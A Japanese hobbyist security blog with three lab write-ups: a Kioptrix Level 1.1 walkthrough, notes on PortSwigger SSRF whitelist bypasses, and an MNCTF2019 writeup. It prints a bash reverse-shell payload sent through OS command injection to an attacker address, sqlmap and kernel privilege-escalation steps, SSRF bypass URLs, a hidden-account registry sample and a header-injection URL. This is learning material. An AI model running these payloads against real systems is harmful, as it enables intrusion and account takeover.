a

よろしくのキワミ

Kioptrix: Level 1.1解く

Kioptrix: Level 1.1解く

ここから1つやる

www.abatchy.com

調査

netdiscoverでは対象マシンが見つからなかったため、arp-scanコマンドを使用する。

f:id:toDo:20200302212143p:plain

攻撃対象のマシンのIPアドレスが分かった。

nmapを叩く

f:id:toDo:20200302212636p:plain

803306が開いている為、何かしらのWebサービスMysql DBが動いていると予想できる。

詳細を調べる。

$ nmap -sV -sC 192.168.56.103

f:id:toDo:20200304105716p:plain

nikto

f:id:toDo:20200304110707p:plain

特に脆弱性があるようには見えない

niktoの情報からphpで組まれていると予想。dirs3archで総当たりする

f:id:toDo:20200304111520p:plain

ブラウザで開いてみる

f:id:toDo:20200304111014p:plain

ログインフォームが表示される。

http://192.168.56.103/http://192.168.56.103/index.php/loginは同じページっぽい。

loginフォームに対して攻撃できないか試してみる。

XSSは反応がわかりづらそう(あんまり意味なさそう)なのでSQL Injectionの方で調査していくことに

パラメータを調べるためにBurp Suiteを起動する

f:id:toDo:20200304114315p:plain

ソースコードを見た方が早いね

f:id:toDo:20200304114425p:plain

usernameunamepasswordpswだとわかる。これを元にsqlmapで調べる。

$ sqlmap -o -u "http://192.168.56.103/index.php/login" --dbms MySQL --data "uname=username&psw=password" --risk=1

f:id:toDo:20200304121233p:plain

pswというパラメータにSQL Injectionkの脆弱性が見つかる。
試しに入れてログインしてみるとログインできた

ログインすると以下のページが表示される

f:id:toDo:20200304122039p:plain

pingが送れるのかな?

試しに127.0.0.1を入れてみるとログインフォームに戻されるので、正規のパスワードを取得する必要がある。

--dumpオプションをつけて表示させる。

f:id:toDo:20200304122936p:plain

2人のユーザのunamepswがわかる。

しかしadminアカウントでログインし、127.0.0.1を入れsubmitを押すが、なぜかログインフォームに戻される。

httpsでアクセスしたらログイン状態が保持されたのでhttpsで接続するようにした。

無事ログインできたのでpingを送信してみる。

f:id:toDo:20200305051019p:plain

若年の感からOS command Injection通りそうなので試してみると、以下のような形式でコマンドが通ることがわかった。

; ifconfig

普通ですね。
OS Command Injectionが通るのでncでリバースシェルを張る事にする。

payload書く

下記の記事を丸々参考にしました。

kusuwada.hatenablog.com

  • 攻撃対象に送信する文字列
;bash -i >& /dev/tcp/192.168.56.102/8000 0>&1

※ 192.168.56.102は攻撃者のIPアドレス

  • 攻撃者のマシンで待ち受けておく
nc -nvlp 8000

あとはこれを実行してやる事でshellが取れる

f:id:toDo:20200305052415p:plain

とったshellはapacheの権限しかない

f:id:toDo:20200306052927p:plain

なので、管理者の権限にする方法を探る

OSやkernelなどのバージョンを見てみる。

f:id:toDo:20200306054710p:plain

OSのバージョンが明らかに古いので、脆弱性があるかを調べてみる

$ searchsploit centos 4.5

f:id:toDo:20200306062325p:plain

脆弱性が見つかった。

9542.cが条件を満たしている。

payloadをworkディレクトリにコピーして、攻撃対象のサーバに送る。

$ cp $(locate 9542.c) .
$ python3 -m http.server 8000

あとはshellを張っている攻撃対象のマシンからwgetで取得すればいいのだが、権限の問題でファイルを作成できない場所があるので適当な場所に移動して落としてくる

$ cd /tmp
$ wget 192.168.56.102:8000/9542.c # download
$ gcc 9542.c # build
$ chmod +x a.out
$ ./a.out # run

すると以下のように表示され、うまく走らない

[-] exploit failed, try again

ビルド時にwarningが出ていたのでそれが原因なのかもしれない

warningの内容を調べてみると最後の行に改行が入ってないという警告らしい。

しかし改行を入れて再びビルドしてやるとwarningは消えたがまだ実行時にこける...

詰まったので断腸の思いで少しだけwriteupを見る事にします。

jakebacker.com

上のブログが私と同じように[-] exploit failed, try againが発生しており、他の脆弱性を探す方向にシフトしています。

仕方ないので私も他の方法で権限を昇格させる事にしました。

wgetでツールをコピーしてきて

$ wget 192.168.56.102:8000/linuxprivchecker.py

攻撃対象のマシンで実行してやる

$ python linuxprivchecker.py

f:id:toDo:20200310041633p:plain

たくさん出てきた。

sock_sendpage()っていうのを使ってみる事にする。

$ cp $(locate 9598.txt) .

テキストファイルなので中をみる

This is the second version of Linux sock_sendpage() NULL pointer dereference exploit. Now, it also works with Linux kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with that types. https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz) milw0rm.com [2009-09-09]

別の場所からバイナリを落として来ないといけないらしい。

$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz

手順通りにファイルを落としてきて実行してやる。

$ run

f:id:toDo:20200310045954p:plain

いろいろ回り道したけどrootをとることができた~

感想

他の人のwriteupをみると、mysql脆弱性から権限を昇格したりしている。

$ ps -A

などで動いているプロセスを確認してそこからいろいろやるのも面白そう

PS: 最近hacktheboxにハマってます。

server side request フォージェリ メモ

server side request フォージェリ メモ

Webセキュリティの基礎を下のサイトで復習していたときにわからないところがあった。

portswigger.net

これの『SSRF with whitelist-based input filters』の章がスッと理解出来なかったので学んだことをメモする。

※ 問題の解法などのネタバレが含まれています(何か問題があれば記事消します)

この章ではSSRFをブロックするためのホワイトリストをバイパスして攻撃すると言う問題だ。
バイパスする方法はいくつかあり、このサイトでは下の5つが挙げられていた。

  • You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
  • You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
  • You can use combinations of these techniques together.

これを順番に見ていく

1. @ character

You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.

@で資格情報を埋め込めるらしい。
http://username:password@example.comみたいな形なら知っていたが、ホストの指定とかもできるんですねー

LABのsolutionをみると、この部分は以下のようになっている。

Change the URL to http://username@stock.weliketoshop.net/ and observe that this is accepted, indicating that the URL parser supports embedded credentials.

@をつけて資格情報が通るかどうかをチェックしている。


f:id:toDo:20200213021218p:plain

上のリクエストがhttp://127.0.0.1/を送信した場合の挙動。
HTTPのステータスコード400になっている。

下のリクエストはhttp://username@stock.weliketoshop.net/を送った場合の挙動で、こちらは500ステータスコードが帰ってきている。
これが資格情報が通るかどうかの判断基準になっているのかな?

返すエラーが違うと、こういったところから情報が集められるんですね
返すエラーは統一した方がいいのかな?🤔

2. # character

You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.

#の後につけるのはDOMのid属性を指定して使える。

例えば『リンクを開くとこのサイトのこの行へ移動させる』というようなことができる。

ということはわかるのだが、なぜこれが攻撃につながるのかがわからない...

3. DNS naming

You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.

???

4. URL-encode characters

これはわかる。

5. これらの手法を組み合わせることができます

これらの手法を組み合わせることができます

わからない点

最終的に出来上がるpayloadは以下になるらしい。

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

localhost:80はローカルホストの80番ポートにアクセスすることがわかる。

%2523#エンコードしたもの。これより後の文字列はid属性を刺す...?

@stock.weliketoshop.net@がついているのでこれより前の要素たちは認証情報に当たるのかな...?

URLフラグメントを利用して他のホストを参照しているように見えるんですけど

感想

???

わかるようになったことだけブログに書いていければいいなぁ

MNCTF2019 writeup

MNCTF2019 writeup

2020/2/3 開始

本当は時間制限を設けてやるものらしいのだが、全ての問題を解きたかったので(後から知ったので)時間は測らずにまったりやってます。

悪意部品

標的攻撃I

vmdk形式のディスクイメージが渡される。

a.EXEという名前の実行ファイルがある。

f:id:toDo:20200202182004p:plain

hashをとってやる

f:id:toDo:20200202181958p:plain

標的攻撃Ⅱ

仮想マシン上でmalwareを実行してユーザーなどを確認するが、特に追加されてるように見えない。

マルウェアを解析する。

  • strings
!This program cannot be run in DOS mode.
.text
 .data
@.import
h1 @
h6 @
h1 @
h1 @
/c net user /add SUPPORT_388945a1 @Abc123456
open
/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited
/c del a.exe
This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1 
kernel32.dll
shell32.dll
ExitProcess
Sleep
ShellExecuteA

この部分

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1

レジストリを操作しており、ユーザーのリストにSUPPORT_388945a1を追加している。

管理者権限出なかったから失敗したっぽい。

管理者権限で実行してみる。

f:id:toDo:20200202190853p:plain

追加されていることがわかった。

標的攻撃Ⅲ

Ⅱで入手した名前でOSINTする。

f:id:toDo:20200202191343p:plain

ここに書いてある

標的攻撃Ⅳ

作成したユーザをログイン画面で非表示にするためのレジストリキー名を答えよ。

そんなのあるの

検索すると以下のサイトが分かりやすかった。

tialalight.cocolog-nifty.com

stringsで見つかった文字列のなかにこれに似たものがある。

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

建屋制御Ⅰ

pcapファイルを見て空調コントローラーのlocationを特定しろと言う問題。

通信のプロトコルにはBACnetという物を使用しているらしい

locationの値が出てくるような通信はレスポンスだろうと考え、気合で探す。

f:id:toDo:20200203110616p:plain

建屋制御Ⅰ

情報漏洩I

難読化したbatファイルが渡される。

全く読めないので全ての行にechoをつけて実行する。

f:id:toDo:20200203095551p:plain

見てみると、temp.txtというファイルを出力している

f:id:toDo:20200203100612p:plain

ここに書かれている設定をftpに渡して実行している

f:id:toDo:20200203101215p:plain

問題は、ツールの名前を答えろとのことなので、1行目に出力されていたツール名が答え

情報漏洩Ⅱ

盗まれた文書の文書内の「タイトル」を答えよ。

batファイルには*.xlsとあるが、ファイル名らしいものはどこにも書いてなさそう。(temp.txtは一時ファイルなので違う)

157.7.53.197というアドレスがあるのでftpで接続する。

多分ここにあるけど、学内からはftpで接続できないので帰ってからやる

暗証保護

webサイトからパスワードを読み取る問題

リンク先を見る

f:id:toDo:20200202171120p:plain

password.phpの方を開くと以下の画面。

f:id:toDo:20200202171237p:plain

ここを何とかしてリモートからパスワードを見るっぽい。

ソースコードを見てみるとbodystyleにいろいろ入れている。

もう一方のファイルを見てみる。

f:id:toDo:20200202171512p:plain

headerとbodyの内容を表示してくれるのかな?

試しに自分自身のURLを入れてみる

f:id:toDo:20200202171727p:plain

headerの内容と少しだけbodyの要素が帰ってくる。

password.phpのURLを入れても全てのパスワードが帰ってこないので、どうするのか考える。 HTTPのレスポンスの長さが少ないのでこれを長くする方法を考える。

いろいろやってるとHTTPヘッダインジェクションができることがわかった。
%0D%0Aを挟むことで任意のhttp headerを追加する

contents-lengthを指定してやる

http://mnctf.info/mnctf2019/task/admin/webchecker.php?host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0AContent-Length:%205000

f:id:toDo:20200202174547p:plain

感想

面白かった

プライバシーポリシー お問い合わせ